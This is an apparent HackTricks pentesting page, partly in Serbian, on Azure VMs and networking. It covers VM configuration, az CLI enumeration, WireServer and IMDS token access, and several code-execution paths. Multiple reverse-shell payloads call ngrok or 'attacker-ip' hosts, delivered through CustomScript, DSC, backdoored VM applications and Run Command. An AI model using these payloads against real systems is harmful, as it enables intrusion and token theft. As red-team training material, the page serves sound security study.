Az - Virtual Machines & Network

Tip

Nauči & vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Azure Networking Basic Info

Azure networks contains different entities and ways to configure it. You can find a brief descriptions, examples and enumeration commands of the different Azure network entities in:

Az - Azure Network

VMs Basic information

Azure Virtual Machines (VMs) are flexible, on-demand cloud-based servers that let you run Windows or Linux operating systems. They allow you to deploy applications and workloads without managing physical hardware. Azure VMs can be configured with various CPU, memory, and storage options to meet specific needs and integrate with Azure services like virtual networks, storage, and security tools.

Security Configurations

  • Availability Zones: Availability zones are distinct groups of datacenters within a specific Azure region which are physically separated to minimize the risk of multiple zones being affected by local outages or disasters.
  • Security Type:
  • Standard Security: This is the default security type that does not require any specific configuration.
  • Trusted Launch: This security type enhances protection against boot kits and kernel-level malware by using Secure Boot and Virtual Trusted Platform Module (vTPM).
  • Confidential VMs: On top of a trusted launch, it offers hardware-based isolation between the VM, hypervisor and host management, improves the disk encryption and more.
  • Authentication: By default a new SSH key is generated, although it’s possible to use a public key or use a previous key and the username by default is azureuser. It’s also possible to configure to use a password.
  • VM disk encryption: The disk is encrypted at rest by default using a platform managed key.
  • It’s also possible to enable Encryption at host, where the data will be encrypted in the host before sending it to the storage service, ensuring an end-to-end encryption between the host and the storage service (docs).
  • NIC network security group:
  • None: Basically opens every port
  • Basic: Allows to easily open the inbound ports HTTP (80), HTTPS (443), SSH (22), RDP (3389)
  • Advanced: Select a security group
  • Backup: It’s possible to enable Standard backup (one a day) and Enhanced (multiple per day)
  • Patch orchestration options: This enable to automatically apply patches in the VMs according to the selected policy as described in the docs.
  • Alerts: It’s possible to automatically get alerts by email or mobile app when something happen in the VM. Default rules:
  • Percentage CPU is greater than 80%
  • Available Memory Bytes is less than 1GB
  • Data Disks IOPS Consumed Percentage is greater than 95%
  • OS IOPS Consumed Percentage is greater than 95%
  • Network in Total is greater than 500GB
  • Network Out Total is greater than 200GB
  • VmAvailabilityMetric is less than 1
  • Heath monitor: By default check protocol HTTP in port 80
  • Locks: It allows to lock a VM so it can only be read (ReadOnly lock) or it can be read and updated but not deleted (CanNotDelete lock).
  • Most VM related resources also support locks like disks, snapshots…
  • Locks can also be applied at resource group and subscription levels

Disks & snapshots

  • It’s possible to enable to attach a disk to 2 or more VMs
  • By default every disk is encrypted with a platform key.
  • Same in snapshots
  • By default it’s possible to share the disk from all networks, but it can also be restricted to only certain private access or to completely disable public and private access.
  • Same in snapshots
  • It’s possible to generate a SAS URI (of max 60days) to export the disk, which can be configured to require authentication or not
  • Same in snapshots
# List all disks
az disk list --output table

# Get info about a disk
az disk show --name <disk-name> --resource-group <rsc-group>

A VM image je šablon koji sadrži operativni sistem, application settings i filesystem potreban za kreiranje nove virtual machine (VM). Razlika između image i disk snapshot je u tome što je disk snapshot read-only, point-in-time kopija jednog managed disk-a, koja se prvenstveno koristi za backup ili troubleshooting, dok image može sadržati više diskova i osmišljen je da služi kao šablon za kreiranje novih VM-ova.
Image-ovi mogu da se upravljaju u Images section Azure ili unutar Azure compute galleries, što omogućava generisanje versions i share image-a cross-tenant ili čak da se učini public.

A restore point čuva VM configuration i point-in-time application-consistent snapshots of all the managed disks attached to the VM. Povezan je sa VM i njegova svrha je da omogući restore tog VM-a na stanje u kojem je bio u tom konkretnom trenutku.

# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all community galleries
az sig list-community --output table

## List galleries shaerd with me
az sig list-shared --location <location> --output table

## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>

## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table

## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

# Images
# List all managed images in your subscription
az image list --output table

# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>

Azure Site Recovery

From the docs: Site Recovery pomaže da se obezbedi poslovni kontinuitet tako što održava poslovne aplikacije i workload-ove da rade tokom prekida. Site Recovery replicira workload-ove koji rade na fizičkim i virtuelnim mašinama (VMs) sa primarne lokacije na sekundarnu lokaciju. Kada dođe do prekida na vašoj primarnoj lokaciji, prebacujete se na sekundarnu lokaciju i odatle pristupate aplikacijama. Nakon što primarna lokacija ponovo proradi, možete se vratiti na nju.

Azure Bastion

Azure Bastion omogućava bezbedan i neprimetan pristup preko Remote Desktop Protocol (RDP) i Secure Shell (SSH) ka vašim virtuelnim mašinama (VMs) direktno kroz Azure Portal ili putem jump box-a. Time se eliminiše potreba za javnim IP adresama na vašim VMs.

Bastion postavlja subnet pod nazivom AzureBastionSubnet sa /26 netmask-om u VNet-u na kojem treba da radi. Zatim omogućava da se povežete na interne VMs kroz browser koristeći RDP i SSH, bez izlaganja portova VMs na Internet. Takođe može da radi kao jump host.

Da biste izlistali sve Azure Bastion Host-ove u vašoj subscription i povezali se sa VMs preko njih, možete koristiti sledeće komande:

# List bastions
az network bastion list -o table

# Connect via SSH through bastion
az network bastion ssh \
--name MyBastion \
--resource-group MyResourceGroup \
--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
--auth-type ssh-key \
--username azureuser \
--ssh-key ~/.ssh/id_rsa

# Connect via RDP through bastion
az network bastion rdp \
--name <BASTION_NAME> \
--resource-group <RESOURCE_GROUP> \
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
--auth-type password \
--username <VM_USERNAME> \
--password <VM_PASSWORD>

Metadata

Azure Instance Metadata Service (IMDS) pruža informacije o pokrenutim virtual machine instancama radi pomoći pri njihovom upravljanju i konfiguraciji. Nudi detalje kao što su SKU, storage, network konfiguracije i informacije o nadolazećim maintenance događajima putem REST API dostupnog na neroutabilnoj IP adresi 169.254.169.254, kojoj je moguće pristupiti samo iz VM-a. Komunikacija između VM i IMDS ostaje unutar hosta, čime se obezbeđuje siguran pristup. Prilikom upita ka IMDS, HTTP klijenti unutar VM-a trebalo bi da zaobiđu web proxyje kako bi se obezbedila ispravna komunikacija.

Takođe, da bi se kontaktirala metadata endpoint, HTTP zahtev mora imati header Metadata: true i ne sme imati header X-Forwarded-For.

Prilikom traženja access tokena za metadata endpoint, podrazumevano će metadata service koristiti system assigned managed identity da generiše token, ako postoji bilo koja system assigned managed identity. U slučaju da postoji samo JEDNA user assigned managed identity, tada će ona biti korišćena podrazumevano. Međutim, ako ne postoji system assigned managed identity i postoje više user assigned managed identities, onda će metadata service vratiti grešku koja ukazuje da postoji više managed identities i da je potrebno specifikovati koju koristiti.

Proveri kako da je enumeriraš na:

Cloud SSRF - HackTricks

VM Enumeration

# VMs
## List all VMs and get info about one
az vm list --output table
az vm show --name <came> --resource-group <rsc-group>

## List all available VM images and get info about one
az vm image list --all --output table

# VM Extensions
## List all VM extensions
az vm extension image list --output table

## Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table

## List extensions in a VM
az vm extension list -g <rsc-group> --vm-name <vm-name>

## List managed identities in a VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>

# Disks
## List all disks and get info about one
az disk list --output table
az disk show --name <disk-name> --resource-group <rsc-group>

# Snapshots
## List all galleries abd get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all snapshots and get info about one
az snapshot list --output table
az snapshot show --name <name> --resource-group <rsc-group>

# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all community galleries
az sig list-community --output table

## List galleries shared with me
az sig list-shared --location <location> --output table

## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>

## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table

## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

# Images
# List all managed images in your subscription
az image list --output table

# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>

# Bastion
## list all bastions
az network bastion list -o table

# Network
## List VNets
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}"

## List subnets of a VNet
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, addressPrefix:addressPrefix}" -o table

## List public IPs
az network public-ip list --output table

## Get NSG rules
az network nsg rule list --nsg-name <NSGName> --resource-group <ResourceGroupName> --query "[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}" -o table

## Get NICs and subnets using this NSG
az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}"

## List all Nics & get info of a single one
az network nic list --output table
az network nic show --name <name> --resource-group <rsc-group>

## List Azure Firewalls
az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table

## Get network rules of a firewall
az network firewall network-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## Get application rules of a firewall
az network firewall application-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## Get nat rules of a firewall
az network firewall nat-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## List Route Tables
az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table

## List routes for a table
az network route-table route list --route-table-name <RouteTableName> --resource-group <ResourceGroupName> --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table

# Misc
## List all virtual machine scale sets
az vmss list --output table

## List all availability sets
az vm availability-set list --output table

## List all load balancers
az network lb list --output table

## List all storage accounts
az storage account list --output table

## List all custom script extensions on a specific VM
az vm extension list --vm-name <vm-name> --resource-group <resource-group>

# Show boot diagnostics settings for a specific VM
az vm boot-diagnostics get-boot-log --name <vm-name> --resource-group <resource-group>

## List all tags on virtual machines
az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[].{Name:name, Tags:tags}" --output table

# List all available run commands for virtual machines
az vm run-command list --output table

Code Execution in VMs

VM Extensions

Azure VM extensions are small applications that provide post-deployment configuration and automation tasks on Azure virtual machines (VMs).

Ovo bi omogućilo da se izvrši arbitrary code unutar VMs.

Potrebna permisija je Microsoft.Compute/virtualMachines/extensions/write.

Moguće je prikazati sve dostupne extensions pomoću:

# It takes some mins to run
az vm extension image list --output table

# Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table

Moguće je pokrenuti custom extensions koje izvršavaju custom code:

  • Izvrši revers shell
# Prepare the rev shell
echo -n 'bash -i  >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==

# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
  • Pokreni script koji se nalazi na internetu
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'

Relevant VM extensions

Potrebna permisija je i dalje Microsoft.Compute/virtualMachines/extensions/write.

VMAccess extension

Ova ekstenzija omogućava modifikovanje lozinke (ili kreiranje ako ne postoji) korisnika unutar Windows VM-ova.

# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
DesiredStateConfiguration (DSC)

Ovo je VM ekstenzija koja pripada Microsoftu i koristi PowerShell DSC za upravljanje konfiguracijom Azure Windows VM-ova. Zbog toga se može koristiti za izvršavanje proizvoljnih komandi na Windows VM-ovima kroz ovu ekstenziju:

# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output

# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force

# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
Hybrid Runbook Worker

Ovo je VM ekstenzija koja omogućava izvršavanje runbooks u VMs iz automation account-a. Za više informacija pogledajte Automation Accounts service.

VM Applications

Ovo su paketi sa svim application podacima i install i uninstall skriptama koji se mogu koristiti za lako dodavanje i uklanjanje application u VMs.

# List all galleries in resource group
az sig list --resource-group <res-group> --output table

# List all apps in a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

These su putanje gde se aplikacije preuzimaju unutar file system-a:

  • Linux: /var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>
  • Windows: C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>

Pogledaj kako da instaliraš nove aplikacije u https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli

Caution

Moguće je share-ovati individual apps i galleries sa drugim subscriptions ili tenants. To je veoma zanimljivo jer bi moglo da omogući attacker-u da backdoor-uje aplikaciju i pivot-uje ka drugim subscriptions i tenants.

Ali ne postoji “marketplace” za vm apps kao što postoji za extensions.

Potrebne permissions su:

  • Microsoft.Compute/galleries/applications/write
  • Microsoft.Compute/galleries/applications/versions/write
  • Microsoft.Compute/virtualMachines/write
  • Microsoft.Network/networkInterfaces/join/action
  • Microsoft.Compute/disks/write

Primer exploitation-a za izvršavanje arbitrary commands:

# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"

# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"

# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"

# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true

User data

Ovo su persistent data koji se mogu preuzeti sa metadata endpoint-a u bilo kom trenutku. Imaj na umu da je u Azure user data različit od AWS i GCP zato što ako ovde postaviš script, on se podrazumevano ne izvršava.

Custom data

Moguće je proslediti neke podatke VM-u koji će biti sačuvani na očekivanim putanjama:

  • U Windows custom data se postavlja u %SYSTEMDRIVE%\AzureData\CustomData.bin kao binarna datoteka i ne obrađuje se.
  • U Linux je bio sačuvan u /var/lib/waagent/ovf-env.xml a sada se čuva u /var/lib/waagent/CustomData/ovf-env.xml
  • Linux agent: On podrazumevano ne obrađuje custom data, potreban je custom image sa omogućenim podacima
  • cloud-init: Podrazumevano obrađuje custom data i ti podaci mogu biti u nekoliko formata. Može lako da izvrši script tako što samo pošalješ script u custom data.
  • Probao sam i Ubuntu i Debian izvršavaju script koji ovde postaviš.
  • Takođe nije potrebno omogućiti user data da bi se ovo izvršilo.
#!/bin/sh
echo "Hello World" > /var/tmp/output.txt

Run Command

Ovo je najosnovniji mehanizam koji Azure pruža za izvršavanje arbitrary commands u VMs. Potrebna permisija je Microsoft.Compute/virtualMachines/runCommand/action.

# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh

# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh

Azure WireServer & GoalState

Azure VMs izlažu internal platform endpoints koji se koriste za konfiguraciju, metadata retrieval i identity management. Razumevanje razlike između njih je kritično za enumeration, privilege escalation and post-exploitation.

Wire Server (Azure Fabric Endpoint)

Azure WireServer je interni Azure IP (168.63.129.16) koji platforma koristi za komunikaciju sa VM.

Zadužen je za:

  • Communication sa VM Agent
  • Dostavljanje:
  • GoalState
  • ExtensionsConfig
  • Internal VM configuration (uključujući identities)
  • DHCP & DNS services
  • Health monitoring

GoalState & ExtensionsConfig

GoalState predstavlja desired configuration of the VM kako je definisan od strane Azure. Može da uključuje:

  • Extensions configuration
  • Managed identities
  • Provisioning state
  • Agent instructions

ExtensionsConfig sadrži detaljnu konfiguraciju VM extensions i može da uključuje:

  • User Assigned Managed Identities
  • Extension settings
  • Secrets (u zavisnosti od extension)

Ovi endpoints se tipično pristupaju preko:

curl -H "x-ms-version: 2012-11-30" http://168.63.129.16/machine?comp=goalstate

Razmatranja o pristupu

WireServer IP je uglavnom dostupan iz VM-a kroz guest network stack. Nije ograničen samo na Azure VM Agent, Run Command, ili VM extensions. Microsoft čak dokumentuje agentless Linux provisioning primere gde obični in-guest scripts direktno query-ju GoalState sa 168.63.129.16.

Međutim, neće svaki process nužno dobiti isti praktični rezultat:

  • Neki endpoints zahtevaju Azure-specific headers, kao što je x-ms-version: 2012-11-30 za GoalState.
  • Lokalni guest controls mogu blokirati ili izmeniti pristup, uključujući host firewall rules, proxies, routes, network namespaces, containers, ili endpoint protection.
  • VM extensions i Run Command se često izvršavaju kao root/SYSTEM kroz VM Agent, pa mogu zaobići lokalna OS ograničenja koja utiču na interaktivnog korisnika.
  • Neki podaci su specifični za agent/extension i mogu zavisiti od provisioning state VM-a, instaliranog agenta, konfigurisanih extensions, ili managed identity konfiguracije.

Zato, ako request radi iz Run Command, ali ne uspeva iz SSH, uobičajeno objašnjenje je razlika u OS user-u, environment-u, routing-u, proxy-ju, firewall-u, ili namespace-u, a ne opšte Azure pravilo da samo agent execution contexts mogu da dosegnu 168.63.129.16.

U lab testiranju ova razlika je bila vidljiva: Linux/Windows VM Agent izvršavanje kroz Run Command ili Custom Script extensions moglo je da dosegne GoalState na 168.63.129.16, dok je normalna SSH session na drugom Linux VM-u i dalje mogla da dosegne IMDS, ali je timeout-ovala pri query-ju GoalState. WireServer/GoalState tretirajte kao korisno, ali environment-dependent; nemojte se oslanjati na njega kao na canonical način za enumeraciju managed identities.

Managed Identity Access Iznutra VM-a

Pouzdan način da se koriste managed identities VM-a je IMDS managed identity endpoint na 169.254.169.254, a ne WireServer ExtensionsConfig XML. Scripts koji samo traže UserAssignedIdentity node-ove u ExtensionsConfig nisu pouzdani zato što:

  • VM-ov managed identity assignment nije garantovano predstavljen kao UserAssignedIdentity node-ovi u extension XML-u.
  • Propuštaju system-assigned managed identities.
  • Nalaze user-assigned identities samo ako trenutni GoalState/extension data slučajno izlaže očekivani XML shape.

Microsoftov dokumentovani security model je da sav code koji se izvršava na VM-u može da request-uje tokene za managed identities dostupne na tom VM-u. To je potvrđeno iz:

  • Linux SSH kao regularan VM user.
  • Linux Run Command kroz VM Agent.
  • Linux Custom Script extension kroz VM Agent.
  • Windows Custom Script extension kao NT AUTHORITY\SYSTEM.

U svim tim context-ovima, IMDS je mogao da mint-uje tokene za Management, Microsoft Graph/Entra ID, Key Vault, i Storage kada je tražena identity bila dostupna VM-u.

Postoje dva različita problema koja je lako pomešati:

  • Dobijanje tokena za poznatu identity: Ako je identity dodeljena VM-u, IMDS može da issue-uje tokene za različite audiences kao što su https://management.azure.com/, https://graph.microsoft.com/, https://vault.azure.net, i https://storage.azure.com/. Ako postoji više user-assigned identities, request-ujte konkretnu pomoću client_id, object_id, ili msi_res_id.
  • Otkrivanje svake prikačene identity iznutra VM-a: IMDS ne pruža jednostavan endpoint tipa “list all identities”. Praktičan metod je da se dobije default Management token, pročita VM resource kroz ARM, i pregleda identity property. Ovo radi samo ako ta managed identity ima permissions kao što je Microsoft.Compute/virtualMachines/read na VM-u. Ako ARM vrati 403, token i dalje može biti validan i koristan, ali ne može da enumeriše punu listu identity-ja VM-a.

Ako ARM discovery ne uspe, i dalje možete pokušati WireServer/HostGAPlugin izvore kao što su GoalState i http://168.63.129.16:32526/vmSettings da tražite polja nalik na identity (clientId, IdentityClientId, msi_res_id, user-assigned identity resource IDs) i zatim da pitate IMDS za tokene koristeći te selectors. Ovo je fallback, ne garancija: ti endpoints su context-dependent i možda uopšte ne izlažu managed identity selectors.

Sledeći primeri prvo request-uju token. Zatim pokušavaju da pročitaju VM resource iz Azure Resource Manager-a i da ispišu njegov identity property. Drugi korak radi samo ako managed identity ima permissions kao što je Microsoft.Compute/virtualMachines/read na VM-u.

#!/usr/bin/env bash
set -euo pipefail

imds="http://169.254.169.254/metadata"
api_version="2021-02-01"
resource="${1:-https://management.azure.com/}"

# Optional. Examples:
#   export MSI_SELECTOR='client_id=<client-id>'
#   export MSI_SELECTOR='object_id=<principal-id>'
#   export MSI_SELECTOR='msi_res_id=/subscriptions/.../userAssignedIdentities/name'
selector="${MSI_SELECTOR:-}"

urlencode() {
python3 -c 'import sys, urllib.parse; print(urllib.parse.quote(sys.argv[1], safe=""))' "$1"
}

token_url="$imds/identity/oauth2/token?api-version=$api_version&resource=$(urlencode "$resource")"
if [[ -n "$selector" ]]; then
token_url="$token_url&$selector"
fi

echo "[*] Requesting managed identity token for: $resource"
token_json="$(curl -fsS --noproxy "*" -H "Metadata:true" "$token_url")"

access_token="$(
TOKEN_JSON="$token_json" python3 - <<'PY'
import json, os
print(json.loads(os.environ["TOKEN_JSON"])["access_token"])
PY
)"

TOKEN="$access_token" python3 - <<'PY'
import base64, json, os

token = os.environ["TOKEN"]
payload = token.split(".")[1]
payload += "=" * (-len(payload) % 4)
claims = json.loads(base64.urlsafe_b64decode(payload))

print("[+] Token acquired")
for key in ("tid", "appid", "oid", "xms_mirid"):
if key in claims:
print(f"    {key}: {claims[key]}")
PY

echo "[*] Trying to read the VM identity property through ARM..."
compute_json="$(curl -fsS --noproxy "*" -H "Metadata:true" "$imds/instance/compute?api-version=$api_version")"
vm_id="$(
COMPUTE_JSON="$compute_json" python3 - <<'PY'
import json, os
print(json.loads(os.environ["COMPUTE_JSON"])["resourceId"])
PY
)"

arm_url="https://management.azure.com${vm_id}?api-version=2024-07-01"
if vm_json="$(curl -fsS -H "Authorization: Bearer $access_token" "$arm_url" 2>/dev/null)"; then
VM_JSON="$vm_json" python3 - <<'PY'
import json, os
vm = json.loads(os.environ["VM_JSON"])
print(json.dumps(vm.get("identity", {}), indent=2))
PY
else
echo "[-] Could not read the VM resource with this identity. The token may still be valid, but it lacks ARM read permissions on the VM."
fi

Privilege Escalation

Az - Virtual Machines & Network Privesc

Unauthenticated Access

Az - VMs Unauth

Post Exploitation

Az - VMs & Network Post Exploitation

Persistence

Az - VMs Persistence

References

Tip

Nauči & vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks